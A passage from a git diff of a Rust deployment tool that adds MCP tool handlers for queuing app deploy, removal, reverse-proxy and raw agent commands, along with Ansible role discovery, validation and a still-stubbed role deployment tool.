{ + pub fn new() -> Self { + Self { + id: uuid::Uuid::new_v4().to_string(), + created_at: chrono::Utc::now(), + context: HashMap::new(), + initialized: false, + } + } + + /// Store context value + pub fn set_context(&mut self, key: String, value: Value) { + self.context.insert(key, value); + } + + /// Retrieve context value + pub fn get_context(&self, key: &str) -> Option<&Value> { + self.context.get(key) + } + + /// Clear all context + pub fn clear_context(&mut self) { + self.context.clear(); + } + + /// Mark session as initialized + pub fn set_initialized(&mut self, initialized: bool) { + self.initialized = initialized; + } + + /// Check if session is initialized + pub fn is_initialized(&self) -> bool { + self.initialized + } +} + +impl Default for McpSession { + fn default() -> Self { + Self::new() + } +} diff --git a/stacker/stacker/src/mcp/tools/agent_control.rs b/stacker/stacker/src/mcp/tools/agent_control.rs new file mode 100644 index 0000000..46d0818 --- /dev/null +++ b/stacker/stacker/src/mcp/tools/agent_control.rs @@ -0,0 +1,740 @@ +//! MCP Tools for Agent-based App Lifecycle Management. +//! +//! These tools give the AI the ability to deploy new apps, remove apps, +//! and configure reverse proxies on deployments managed by the Status Panel agent. +//! +//! All operations go through the same queue-based dispatch as the monitoring tools: +//! Command → DB queue → Agent polls → Agent executes → Agent reports result. + +use async_trait::async_trait; +use serde::Deserialize; +use serde_json::{json, Value}; + +use crate::connectors::user_service::UserServiceDeploymentResolver; +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models::{Command, CommandPriority}; +use crate::services::{DeploymentIdentifier, DeploymentResolver}; + +const COMMAND_RESULT_TIMEOUT_SECS: u64 = 15; +const COMMAND_POLL_INTERVAL_MS: u64 = 500; + +/// Reuse the polling helper from monitoring (same logic, configurable timeout). +async fn wait_for_command_result( + pg_pool: &sqlx::PgPool, + command_id: &str, + timeout_secs: u64, +) -> Result, String> { + use tokio::time::{sleep, Duration, Instant}; + + let deadline = Instant::now() + Duration::from_secs(timeout_secs); + + while Instant::now() < deadline { + let fetched = db::command::fetch_by_command_id(pg_pool, command_id) + .await + .map_err(|e| format!("Failed to fetch command: {}", e))?; + + if let Some(cmd) = fetched { + let status = cmd.status.to_lowercase(); + if status == "completed" + || status == "failed" + || cmd.result.is_some() + || cmd.error.is_some() + { + return Ok(Some(cmd)); + } + } + + sleep(Duration::from_millis(COMMAND_POLL_INTERVAL_MS)).await; + } + + Ok(None) +} + +fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver { + UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ) +} + +/// Enqueue a command, wait for result, return structured JSON. +async fn enqueue_and_wait( + context: &ToolContext, + deployment_hash: &str, + command_type: &str, + parameters: Value, + timeout_secs: u64, +) -> Result { + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.to_string(), + command_type.to_string(), + context.user.id.clone(), + ) + .with_parameters(parameters.clone()); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + if let Some(cmd) = + wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await? + { + let status = cmd.status.to_lowercase(); + Ok(json!({ + "status": status, + "command_id": cmd.command_id, + "deployment_hash": deployment_hash, + "command_type": command_type, + "result": cmd.result, + "error": cmd.error, + })) + } else { + Ok(json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "command_type": command_type, + "message": "Command queued. Agent will process shortly.", + })) + } +} + +async fn enqueue_request_and_wait( + context: &ToolContext, + request: &crate::cli::stacker_client::AgentEnqueueRequest, + timeout_secs: u64, +) -> Result { + let command_id = uuid::Uuid::new_v4().to_string(); + let mut command = Command::new( + command_id.clone(), + request.deployment_hash.clone(), + request.command_type.clone(), + context.user.id.clone(), + ); + if let Some(parameters) = request.parameters.clone() { + command = command.with_parameters(parameters); + } + if let Some(timeout_seconds) = request.timeout_seconds { + command = command.with_timeout(timeout_seconds); + } + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &request.deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + if let Some(cmd) = + wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await? + { + let status = cmd.status.to_lowercase(); + Ok(json!({ + "status": status, + "command_id": cmd.command_id, + "deployment_hash": request.deployment_hash, + "command_type": request.command_type, + "result": cmd.result, + "error": cmd.error, + })) + } else { + Ok(json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": request.deployment_hash, + "command_type": request.command_type, + "message": "Command queued. Agent will process shortly.", + })) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Deploy App Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct DeployAppTool; + +#[async_trait] +impl ToolHandler for DeployAppTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + #[serde(default)] + image: Option, + #[serde(default)] + force_recreate: Option, + #[serde(default)] + force_config_overwrite: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let force_recreate = params.force_recreate.unwrap_or(false); + let force_config_overwrite = params.force_config_overwrite.unwrap_or(force_recreate); + + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let result = enqueue_and_wait( + context, + &deployment_hash, + "deploy_app", + json!({ + "app_code": params.app_code, + "image": params.image, + "pull": true, + "force_recreate": force_recreate, + "force_config_overwrite": force_config_overwrite, + }), + COMMAND_RESULT_TIMEOUT_SECS, + ) + .await?; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + "Queued deploy_app command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "deploy_app".to_string(), + description: "Deploy or update an app container on a deployment. The Status Panel agent will pull the image and start the container.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments)" + }, + "app_code": { + "type": "string", + "description": "The app code to deploy (e.g., 'nginx', 'postgres', 'myapp')" + }, + "image": { + "type": "string", + "description": "Docker image to use (e.g., 'nginx:latest'). If omitted, uses the compose config." + }, + "force_recreate": { + "type": "boolean", + "description": "Force recreate the container even if config hasn't changed" + }, + "force_config_overwrite": { + "type": "boolean", + "description": "Force overwriting drifted runtime config files such as .env" + } + }, + "required": ["app_code"] + }), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Remove App Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct RemoveAppTool; + +#[async_trait] +impl ToolHandler for RemoveAppTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + #[serde(default)] + remove_volumes: Option, + #[serde(default)] + remove_image: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let result = enqueue_and_wait( + context, + &deployment_hash, + "remove_app", + json!({ + "app_code": params.app_code, + "delete_config": true, + "remove_volumes": params.remove_volumes.unwrap_or(false), + "remove_image": params.remove_image.unwrap_or(false), + }), + COMMAND_RESULT_TIMEOUT_SECS, + ) + .await?; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + "Queued remove_app command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "remove_app".to_string(), + description: "Remove an app container from a deployment. Stops and removes the container, optionally removing volumes and images.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "app_code": { + "type": "string", + "description": "The app code to remove" + }, + "remove_volumes": { + "type": "boolean", + "description": "Also remove associated volumes (default: false)" + }, + "remove_image": { + "type": "boolean", + "description": "Also remove the Docker image (default: false)" + } + }, + "required": ["app_code"] + }), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Configure Proxy Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct ConfigureProxyAgentTool; + +#[async_trait] +impl ToolHandler for ConfigureProxyAgentTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + app_code: String, + domain_names: Vec, + forward_port: u16, + #[serde(default)] + forward_host: Option, + #[serde(default = "default_true")] + ssl_enabled: bool, + #[serde(default = "default_create")] + action: String, + } + + fn default_true() -> bool { + true + } + fn default_create() -> String { + "create".to_string() + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let result = enqueue_and_wait( + context, + &deployment_hash, + "configure_proxy", + json!({ + "app_code": params.app_code, + "domain_names": params.domain_names, + "forward_host": params.forward_host, + "forward_port": params.forward_port, + "ssl_enabled": params.ssl_enabled, + "ssl_forced": params.ssl_enabled, + "http2_support": params.ssl_enabled, + "action": params.action, + }), + COMMAND_RESULT_TIMEOUT_SECS, + ) + .await?; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + app_code = %params.app_code, + "Queued configure_proxy command via MCP" + ); + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "configure_proxy_agent".to_string(), + description: "Configure a reverse proxy (Nginx Proxy Manager) for an app container via the Status Panel agent. Creates, updates, or deletes proxy host entries with optional SSL.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "app_code": { + "type": "string", + "description": "The app code to proxy" + }, + "domain_names": { + "type": "array", + "items": { "type": "string" }, + "description": "Domain names to proxy (e.g., ['myapp.example.com'])" + }, + "forward_port": { + "type": "number", + "description": "Container port to forward to (e.g., 8080)" + }, + "forward_host": { + "type": "string", + "description": "Container/service name to forward to (defaults to app_code)" + }, + "ssl_enabled": { + "type": "boolean", + "description": "Enable SSL with Let's Encrypt; set false for plain HTTP hosts (default: true)" + }, + "action": { + "type": "string", + "enum": ["create", "update", "delete"], + "description": "Proxy action: create, update, or delete (default: create)" + } + }, + "required": ["app_code", "domain_names", "forward_port"] + }), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Get Agent Status Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct GetAgentStatusTool; + +#[async_trait] +impl ToolHandler for GetAgentStatusTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Fetch agent directly from DB + let agent = db::agent::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash) + .await + .ok() + .flatten(); + + let result = if let Some(agent) = agent { + json!({ + "status": "found", + "deployment_hash": deployment_hash, + "agent": { + "id": agent.id, + "deployment_hash": agent.deployment_hash, + "status": agent.status, + "version": agent.version, + "capabilities": agent.capabilities, + "system_info": agent.system_info, + "last_heartbeat": agent.last_heartbeat.map(|h| h.to_rfc3339()), + } + }) + } else { + json!({ + "status": "not_found", + "deployment_hash": deployment_hash, + "message": "No agent registered for this deployment. The Status Panel agent may not be installed or has not yet connected." + }) + }; + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_agent_status".to_string(), + description: "Check if a Status Panel agent is registered and online for a deployment. Returns agent version, capabilities, and last heartbeat.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + } + } + }), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Get Agent Command History Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct GetAgentCommandHistoryTool; + +#[async_trait] +impl ToolHandler for GetAgentCommandHistoryTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + #[serde(default)] + limit: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let commands = db::command::fetch_by_deployment(&context.pg_pool, &deployment_hash).await?; + let limit = params.limit.unwrap_or(20); + let commands: Vec = commands + .into_iter() + .take(limit) + .map(|command| { + json!({ + "command_id": command.command_id, + "type": command.r#type, + "status": command.status, + "priority": command.priority, + "created_at": command.created_at.to_rfc3339(), + "updated_at": command.updated_at.to_rfc3339(), + "parameters": command.parameters, + "result": command.result, + "error": command.error, + "timeout_seconds": command.timeout_seconds, + }) + }) + .collect(); + + Ok(ToolContent::Text { + text: json!({ + "status": "ok", + "deployment_hash": deployment_hash, + "commands": commands, + }) + .to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_agent_command_history".to_string(), + description: "List recent commands queued for a deployment's Status Panel agent, including status, timestamps, and any reported result or error.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "limit": { + "type": "integer", + "description": "Maximum number of commands to return (default: 20)" + } + } + }), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Execute Agent Command Tool +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct ExecuteAgentCommandTool; + +#[async_trait] +impl ToolHandler for ExecuteAgentCommandTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, + command_type: String, + #[serde(default)] + parameters: Option, + #[serde(default)] + timeout_seconds: Option, + #[serde(default)] + wait_timeout_seconds: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let identifier = + DeploymentIdentifier::try_from_options(params.deployment_hash, params.deployment_id)?; + let resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + let mut request = crate::cli::stacker_client::AgentEnqueueRequest::new( + &deployment_hash, + ¶ms.command_type, + ); + if let Some(parameters) = params.parameters { + request = request.with_raw_parameters(parameters); + } + if let Some(timeout_seconds) = params.timeout_seconds { + request = request.with_timeout(timeout_seconds); + } + + let result = enqueue_request_and_wait( + context, + &request, + params + .wait_timeout_seconds + .unwrap_or(COMMAND_RESULT_TIMEOUT_SECS), + ) + .await?; + + Ok(ToolContent::Text { + text: result.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "execute_agent_command".to_string(), + description: "Queue a raw command for the Status Panel agent and optionally wait for the result. Use for advanced operations not covered by a dedicated MCP tool.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash" + }, + "command_type": { + "type": "string", + "description": "Raw agent command type to enqueue" + }, + "parameters": { + "description": "Optional raw JSON parameters for the command", + "oneOf": [ + { "type": "object" }, + { "type": "array" }, + { "type": "string" }, + { "type": "number" }, + { "type": "boolean" }, + { "type": "null" } + ], + }, + "timeout_seconds": { + "type": "number", + "description": "Optional agent-side timeout to store with the command request" + }, + "wait_timeout_seconds": { + "type": "number", + "description": "How long MCP should wait for a terminal command result before returning queued status (default: 15)" + } + }, + "required": ["command_type"] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/ansible_roles.rs b/stacker/stacker/src/mcp/tools/ansible_roles.rs new file mode 100644 index 0000000..959dadb --- /dev/null +++ b/stacker/stacker/src/mcp/tools/ansible_roles.rs @@ -0,0 +1,585 @@ +//! MCP Tools for Ansible Roles Management +//! +//! These tools provide AI access to: +//! - Discover available Ansible roles +//! - Get role details, requirements, and variables +//! - Validate role configuration +//! - Deploy roles to SSH-accessible servers +//! +//! Role discovery uses hybrid approach: +//! - Primary: Database `role` table via PostgREST +//! - Fallback: Filesystem scan of tfa/roles/ directory +//! +//! Used for SSH deployment method in Stack Builder UI. + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; +use std::collections::HashMap; +use std::path::{Path, PathBuf}; + +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; + +const ROLES_BASE_PATH: &str = "/ansible/roles"; +const POSTGREST_ROLE_ENDPOINT: &str = "/role"; + +/// Role metadata structure +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct AnsibleRole { + pub name: String, + pub description: Option, + pub public_ports: Vec, + pub private_ports: Vec, + pub variables: HashMap, + pub dependencies: Vec, + pub supported_os: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct RoleVariable { + pub name: String, + pub default_value: Option, + pub description: Option, + pub required: bool, + pub var_type: String, // string, integer, boolean, etc. +} + +/// Fetch roles from database via PostgREST +async fn fetch_roles_from_db(context: &ToolContext) -> Result, String> { + let user_service_url = &context.settings.user_service_url; + let endpoint = format!("{}{}", user_service_url, POSTGREST_ROLE_ENDPOINT); + + let client = reqwest::Client::new(); + let response = client + .get(&endpoint) + .header( + "Authorization", + format!( + "Bearer {}", + context.user.access_token.as_deref().unwrap_or("") + ), + ) + .send() + .await + .map_err(|e| format!("Failed to fetch roles from database: {}", e))?; + + if !response.status().is_success() { + return Err(format!("Database query failed: {}", response.status())); + } + + #[derive(Deserialize)] + struct DbRole { + name: String, + #[serde(default)] + public_ports: Vec, + #[serde(default)] + private_ports: Vec, + } + + let db_roles: Vec = response + .json() + .await + .map_err(|e| format!("Failed to parse database response: {}", e))?; + + Ok(db_roles + .into_iter() + .map(|r| AnsibleRole { + name: r.name, + description: None, + public_ports: r.public_ports, + private_ports: r.private_ports, + variables: HashMap::new(), + dependencies: vec![], + supported_os: vec![], + }) + .collect()) +} + +/// Scan filesystem for available roles +fn scan_roles_from_filesystem() -> Result, String> { + let roles_path = Path::new(ROLES_BASE_PATH); + + if !roles_path.exists() { + return Err(format!("Roles directory not found: {}", ROLES_BASE_PATH)); + } + + let mut roles = vec![]; + + if let Ok(entries) = std::fs::read_dir(roles_path) { + for entry in entries.flatten() { + if let Ok(file_type) = entry.file_type() { + if file_type.is_dir() { + if let Some(name) = entry.file_name().to_str() { + // Skip hidden directories and common non-role dirs + if !name.starts_with('.') && name != "old" && name != "custom" { + roles.push(name.to_string()); + } + } + } + } + } + } + + roles.sort(); + Ok(roles) +} + +/// Get detailed information about a specific role from filesystem +fn get_role_details_from_fs(role_name: &str) -> Result { + let role_path = PathBuf::from(ROLES_BASE_PATH).join(role_name); + + if !role_path.exists() { + return Err(format!("Role '{}' not found in filesystem", role_name)); + } + + let mut role = AnsibleRole { + name: role_name.to_string(), + description: None, + public_ports: vec![], + private_ports: vec![], + variables: HashMap::new(), + dependencies: vec![], + supported_os: vec!["ubuntu", "debian"] + .into_iter() + .map(|s| s.to_string()) + .collect(), // default + }; + + // Parse README.md for description + let readme_path = role_path.join("README.md"); + if readme_path.exists() { + if let Ok(content) = std::fs::read_to_string(&readme_path) { + // Extract first non-empty line after "Role Name" or "Description" + for line in content.lines() { + let trimmed = line.trim(); + if !trimmed.is_empty() + && !trimmed.starts_with('#') + && !trimmed.starts_with('=') + && !trimmed.starts_with('-') + && trimmed.len() > 10 + { + role.description = Some(trimmed.to_string()); + break; + } + } + } + } + + // Parse defaults/main.yml for variables + let defaults_path = role_path.join("defaults/main.yml"); + if defaults_path.exists() { + if let Ok(content) = std::fs::read_to_string(&defaults_path) { + // Simple YAML parsing for variable names (not full parser) + for line in content.lines() { + if let Some((key, value)) = parse_yaml_variable(line) { + role.variables.insert( + key.clone(), + RoleVariable { + name: key, + default_value: Some(value), + description: None, + required: false, + var_type: "string".to_string(), + }, + ); + } + } + } + } + + Ok(role) +} + +/// Simple YAML variable parser (key: value) +fn parse_yaml_variable(line: &str) -> Option<(String, String)> { + let trimmed = line.trim(); + if trimmed.starts_with('#') || trimmed.starts_with("---") || trimmed.is_empty() { + return None; + } + + if let Some(colon_pos) = trimmed.find(':') { + let key = trimmed[..colon_pos].trim(); + let value = trimmed[colon_pos + 1..].trim(); + + if !key.is_empty() && !value.is_empty() { + return Some((key.to_string(), value.to_string())); + } + } + + None +} + +/// Tool: list_available_roles - Get catalog of all Ansible roles +pub struct ListAvailableRolesTool; + +#[async_trait] +impl ToolHandler for ListAvailableRolesTool { + async fn execute(&self, _args: Value, context: &ToolContext) -> Result { + // Try database first + let roles = match fetch_roles_from_db(context).await { + Ok(db_roles) => { + tracing::info!("Fetched {} roles from database", db_roles.len()); + db_roles + } + Err(db_err) => { + tracing::warn!( + "Database fetch failed ({}), falling back to filesystem", + db_err + ); + + // Fallback to filesystem scan + let role_names = scan_roles_from_filesystem()?; + tracing::info!("Scanned {} roles from filesystem", role_names.len()); + + role_names + .into_iter() + .map(|name| AnsibleRole { + name, + description: None, + public_ports: vec![], + private_ports: vec![], + variables: HashMap::new(), + dependencies: vec![], + supported_os: vec![], + }) + .collect() + } + }; + + let result = json!({ + "status": "success", + "total_roles": roles.len(), + "roles": roles.iter().map(|r| json!({ + "name": r.name, + "description": r.description.as_deref().unwrap_or("No description available"), + "public_ports": r.public_ports, + "private_ports": r.private_ports, + })).collect::>(), + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_available_roles".to_string(), + description: "Get a catalog of all available Ansible roles for SSH-based deployments. \ + Returns role names, descriptions, and port configurations. \ + Uses database as primary source with filesystem fallback." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": {}, + "required": [] + }), + } + } +} + +/// Tool: get_role_details - Get detailed info about a specific role +pub struct GetRoleDetailsTool; + +#[async_trait] +impl ToolHandler for GetRoleDetailsTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + role_name: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Get detailed info from filesystem (includes variables, README, etc.) + let role = get_role_details_from_fs(¶ms.role_name)?; + + let result = json!({ + "status": "success", + "role": { + "name": role.name, + "description": role.description, + "public_ports": role.public_ports, + "private_ports": role.private_ports, + "variables": role.variables, + "dependencies": role.dependencies, + "supported_os": role.supported_os, + } + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_role_details".to_string(), + description: "Get detailed information about a specific Ansible role. \ + Returns description, variables, dependencies, supported OS, and ports. \ + Parses role's README.md and defaults/main.yml for metadata." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "role_name": { + "type": "string", + "description": "Name of the Ansible role (e.g., 'nginx', 'postgres', 'redis')" + } + }, + "required": ["role_name"] + }), + } + } +} + +/// Tool: get_role_requirements - Get role requirements and dependencies +pub struct GetRoleRequirementsTool; + +#[async_trait] +impl ToolHandler for GetRoleRequirementsTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + role_name: String, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let role = get_role_details_from_fs(¶ms.role_name)?; + + let result = json!({ + "status": "success", + "role_name": role.name, + "requirements": { + "dependencies": role.dependencies, + "supported_os": role.supported_os, + "required_variables": role.variables.values() + .filter(|v| v.required) + .map(|v| &v.name) + .collect::>(), + "optional_variables": role.variables.values() + .filter(|v| !v.required) + .map(|v| &v.name) + .collect::>(), + "public_ports": role.public_ports, + "private_ports": role.private_ports, + } + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_role_requirements".to_string(), + description: "Get requirements and dependencies for a specific Ansible role. \ + Returns OS requirements, dependent roles, required/optional variables, \ + and port configurations needed for deployment." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "role_name": { + "type": "string", + "description": "Name of the Ansible role" + } + }, + "required": ["role_name"] + }), + } + } +} + +/// Tool: validate_role_vars - Validate role variable configuration +pub struct ValidateRoleVarsTool; + +#[async_trait] +impl ToolHandler for ValidateRoleVarsTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + role_name: String, + variables: HashMap, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let role = get_role_details_from_fs(¶ms.role_name)?; + + let mut errors = vec![]; + let mut warnings = vec![]; + + // Check required variables + for (var_name, var_def) in &role.variables { + if var_def.required && !params.variables.contains_key(var_name) { + errors.push(format!("Required variable '{}' is missing", var_name)); + } + } + + // Check for unknown variables + for user_var in params.variables.keys() { + if !role.variables.contains_key(user_var) { + warnings.push(format!( + "Variable '{}' is not defined in role defaults (may be unused)", + user_var + )); + } + } + + let is_valid = errors.is_empty(); + + let result = json!({ + "status": if is_valid { "valid" } else { "invalid" }, + "role_name": role.name, + "valid": is_valid, + "errors": errors, + "warnings": warnings, + "validated_variables": params.variables.keys().collect::>(), + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "validate_role_vars".to_string(), + description: "Validate variable configuration for an Ansible role before deployment. \ + Checks for required variables, type compatibility, and warns about unknown variables. \ + Returns validation status with specific errors/warnings." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "role_name": { + "type": "string", + "description": "Name of the Ansible role" + }, + "variables": { + "type": "object", + "description": "Key-value pairs of variables to validate", + "additionalProperties": true + } + }, + "required": ["role_name", "variables"] + }), + } + } +} + +/// Tool: deploy_role - Execute Ansible role on remote server via SSH +pub struct DeployRoleTool; + +#[async_trait] +impl ToolHandler for DeployRoleTool { + async fn execute(&self, args: Value, _context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + server_ip: String, + role_name: String, + variables: HashMap, + #[serde(default)] + ssh_user: Option, + #[serde(default)] + ssh_key_path: Option, + } + + let params: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Validate role exists + let role = get_role_details_from_fs(¶ms.role_name)?; + + // Validate variables + let mut errors = vec![]; + for (var_name, var_def) in &role.variables { + if var_def.required && !params.variables.contains_key(var_name) { + errors.push(format!("Required variable '{}' is missing", var_name)); + } + } + + if !errors.is_empty() { + return Ok(ToolContent::Text { + text: serde_json::to_string(&json!({ + "status": "validation_failed", + "errors": errors, + })) + .unwrap(), + }); + } + + // TODO: Implement actual Ansible playbook execution + // This would interface with the Install Service or execute ansible-playbook directly + // For now, return a placeholder response + + let ssh_user = params.ssh_user.unwrap_or_else(|| "root".to_string()); + let ssh_key = params + .ssh_key_path + .unwrap_or_else(|| "/root/.ssh/id_rsa".to_string()); + + let result = json!({ + "status": "queued", + "message": "Role deployment has been queued for execution", + "deployment": { + "role_name": role.name, + "server_ip": params.server_ip, + "ssh_user": ssh_user, + "ssh_key_path": ssh_key, + "variables": params.variables, + }, + "note": "This tool currently queues the deployment. Integration with Install Service pending." + }); + + Ok(ToolContent::Text { + text: serde_json::to_string(&result).unwrap(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "deploy_role".to_string(), + description: "Deploy an Ansible role to a remote server via SSH. \ + Validates configuration, generates playbook, and executes on target. \ + Requires SSH access credentials (key-based authentication). \ + Used for SSH deployment method in Stack Builder." + 